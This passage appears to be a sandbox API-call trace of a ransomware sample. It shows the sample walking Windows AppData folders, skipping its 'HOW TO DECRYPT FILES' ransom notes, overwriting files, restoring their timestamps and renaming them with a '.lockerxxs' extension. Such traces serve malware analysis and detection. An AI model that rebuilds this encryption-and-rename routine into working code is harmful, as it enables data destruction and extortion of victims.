hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.587] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0088.587] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0088.587] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x18f27c, dwReserved1=0x4f0048, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.587] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.587] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.587] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.587] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.587] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned="5p5nrgjn0js_halpmcxz@www.msn[2].txt" [0088.587] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.587] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.591] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat") returned="index.dat" [0088.592] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.592] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fda, lpOverlapped=0x0) returned 1 [0088.593] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.593] CloseHandle (hObject=0x9c) returned 1 [0088.593] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\index.dat.lockerxxs")) returned 1 [0088.594] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x18f27c, dwReserved1=0x4f0048, cFileName="index.dat", cAlternateFileName="")) returned 0 [0088.594] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.594] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52878dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0088.594] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.595] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName="IECompatCache", cAlternateFileName="IECOMP~1")) returned 1 [0088.595] lstrcmpA (lpString1=".", lpString2="IECompatCache") returned -1 [0088.595] lstrcmpA (lpString1="..", lpString2="IECompatCache") returned -1 [0088.595] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.595] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.596] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.596] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0088.596] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.596] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.596] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0088.596] lstrcmpA (lpString1=".", lpString2="Low") returned -1 [0088.597] lstrcmpA (lpString1="..", lpString2="Low") returned -1 [0088.597] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*.*") returned="*.*" [0088.597] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.597] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.597] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.597] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.597] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.597] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.598] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.598] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0088.598] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.598] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450049, dwReserved1=0x6f0043, cFileName="IETldCache", cAlternateFileName="IETLDC~1")) returned 1 [0088.598] lstrcmpA (lpString1=".", lpString2="IETldCache") returned -1 [0088.598] lstrcmpA (lpString1="..", lpString2="IETldCache") returned -1 [0088.598] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.598] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x77, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.598] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.598] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.598] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.599] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.599] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb1912e90, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.599] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.599] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.599] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.599] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.599] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*.*") returned="*.*" [0088.599] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\" [0088.599] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\") returned="" [0088.601] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.602] CloseHandle (hObject=0x98) returned 1 [0088.608] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned="index.dat" [0088.610] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.611] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3ffda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3ffda, lpOverlapped=0x0) returned 1 [0088.613] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.614] CloseHandle (hObject=0x98) returned 1 [0088.614] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat.lockerxxs")) returned 0 [0088.614] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f0dcf10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f0dcf10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0088.614] lstrcmpA (lpString1=".", lpString2="Low") returned -1 [0088.614] lstrcmpA (lpString1="..", lpString2="Low") returned -1 [0088.614] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned="index.dat" [0088.614] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f0dcf10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f0dcf10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.615] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.615] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f0dcf10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f0dcf10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0088.615] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.615] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.615] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0dcf10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0dcf10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64c3a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.615] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.615] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.615] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.615] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.615] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*.*") returned="*.*" [0088.616] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\" [0088.616] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\") returned="" [0088.618] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.618] CloseHandle (hObject=0x9c) returned 1 [0088.626] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat") returned="index.dat" [0088.628] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.628] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3ffda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3ffda, lpOverlapped=0x0) returned 1 [0088.631] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.631] CloseHandle (hObject=0x9c) returned 1 [0088.631] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low\\index.dat.lockerxxs")) returned 1 [0088.632] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0dcf10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0dcf10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64c3a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0088.632] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.632] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f0dcf10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f0dcf10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0088.632] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.633] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d22d5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0088.633] lstrcmpA (lpString1=".", lpString2="Libraries") returned -1 [0088.633] lstrcmpA (lpString1="..", lpString2="Libraries") returned -1 [0088.633] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.633] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d22d5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.633] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.633] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d22d5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0088.633] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.633] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.633] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.633] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.633] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0088.634] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", 